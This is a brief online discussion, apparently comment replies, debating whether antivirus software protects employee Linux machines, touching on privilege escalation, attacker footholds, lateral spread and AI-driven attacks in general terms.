I imagined it with employees on Linux and it wasn't clear to me it's definitely safer with an antivirus software. You are just stating things without explaining yourself...

Maybe you’re imagining no local privilege escalation vulnerabilities. Those are low severity in general, but if you can get a user to run something it’s all over.

How much do I need to go on? A foothold on a local computer allows the attacker to spread horizontally across your network.

It’s just a matter of time before you’re fighting real-time AI-driven attacks (most sites aren’t yet). Good luck even with your antivirus. Which I agree is going to be one of the footholds that is used against you.
